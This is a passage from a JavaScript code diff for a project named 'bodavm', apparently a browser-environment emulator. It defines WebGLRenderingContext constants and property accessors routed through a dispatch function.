"COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferWidth", { + configurable: true, + enumerable: true, + get: function drawingBufferWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferHeight", { + configurable: true, + enumerable: true, + get: function drawingBufferHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferColorSpace", { + configurable: true, + enumerable: true, + get: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_get", arguments); + }, + set: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "unpackColorSpace", { + configurable: true, + enumerable: true, + get: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_get", arguments); + }, + set: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32926 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + 